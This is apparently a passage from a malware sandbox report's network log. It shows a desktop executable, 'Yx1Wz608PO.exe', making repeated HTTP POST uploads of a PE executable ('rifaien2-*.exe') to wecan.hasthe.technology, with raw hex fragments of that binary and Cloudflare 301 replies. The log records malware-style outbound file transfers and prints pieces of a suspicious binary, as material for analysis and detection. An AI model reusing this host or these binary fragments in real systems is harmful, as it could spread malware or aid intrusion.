Oct 10, 2024 21:01:50.903712988 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:51.197563887 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:51 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:51 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y1xDL4S3AA0qecG0wX3Fr3UxVKD9s%2Bwf6scIfNi9dSJo4huGL%2BocoU73dNq7CFs3UOOPOP5P%2B7shrMm8%2F279Mxc8xUsPU9YySlFzDRTpJjZnlnNy4b6O3wEtSpNIxnxHkDpT2X4EArLJIg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc80ef7a435e-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49773	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:51.643230915 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------cd847dbde7971065
Oct 10, 2024 21:01:52.260787010 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:52.261913061 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 64 38 34 37 64 62 64 65 37 39 37 31 30 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------cd847dbde7971065Content-Disposition: form-data; name="file[]"; filename="rifaien2-pjdvkdP0LsUtRXiu.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:52.262201071 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:52.268529892 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:52.268553019 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:52.268570900 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:52.268632889 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:52.268769979 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:52.268796921 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:52.268826962 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:52.268863916 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:52.566441059 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:52 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:52 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FewucYLqJsCzgPXGeL8hP4uqJK%2FyS6xvCcZs0hBGaMEPW0vz4D8RWjczErkctAa9tRHTSp5ZxkNLBXH9X5jn6zU2fvNZYS7yK6Wlog%2Ft6vZNu6ZkES1sunDV5qe%2FdSJtVrsv%2BYAgSyw4Uw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc887d6bc420-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49774	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:52.775955915 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------c9a2a9dee96dd686
Oct 10, 2024 21:01:53.226555109 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:53.227752924 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 39 61 32 61 39 64 65 65 39 36 64 64 36 38 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------c9a2a9dee96dd686Content-Disposition: form-data; name="file[]"; filename="rifaien2-i3DqfztkSkxjdOOT.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:53.227891922 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:53.233309031 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:53.233341932 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:53.233378887 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:53.233409882 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:53.233455896 CEST	4944	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:53.233534098 CEST	4944	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:53.233561993 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:01:53.237883091 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:01:53.555418015 CEST	807	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:53 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:53 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ccgZfOMS77GuFihNHs59IVcnggql8Gxw87u3BVz4o7sT7rv2z9VVpj2GSRoJhLwudc0y4JKC8o8g3USjfqiKqfGOQmNzzwXNht4Gpc7s8ttEiwIoasAUo6YoUjVSDpo9PxhjxtcFpm9QHA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc8f7b7e42c3-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49775	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:53.701045990 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------3df0e20c66334a97
Oct 10, 2024 21:01:54.178307056 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:54.421572924 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 64 66 30 65 32 30 63 36 36 33 33 34 61 39 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------3df0e20c66334a97Content-Disposition: form-data; name="file[]"; filename="rifaien2-dJL9srUqHWxbpcQx.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:54.421845913 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:54.426986933 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:54.427073002 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:54.427073002 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:54.427326918 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:54.427375078 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:54.427402973 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:54.427447081 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:54.427484035 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:54.749500990 CEST	819	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:54 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:54 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fvk%2BZITnRBok1TLb2P%2B9CiMkEcohrtAyEdKzyUhEqKzVQj0hOR5B2rPDvCoNbfCAH3MTh%2F7fGXBZrkH8BqKztXJ8e%2BVh2BjtZYZms%2FEu0nhj%2BOTzHzSEmqjcx7MMgAWSU01ETPmMItt16w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc9568e542d8-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49776	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:54.947999954 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------ddeefa03af69d1b5
Oct 10, 2024 21:01:55.412399054 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:55.413598061 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 64 65 65 66 61 30 33 61 66 36 39 64 31 62 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------ddeefa03af69d1b5Content-Disposition: form-data; name="file[]"; filename="rifaien2-pzfLarqkprlSO2uY.exe"Content-Type: application/octet-stream
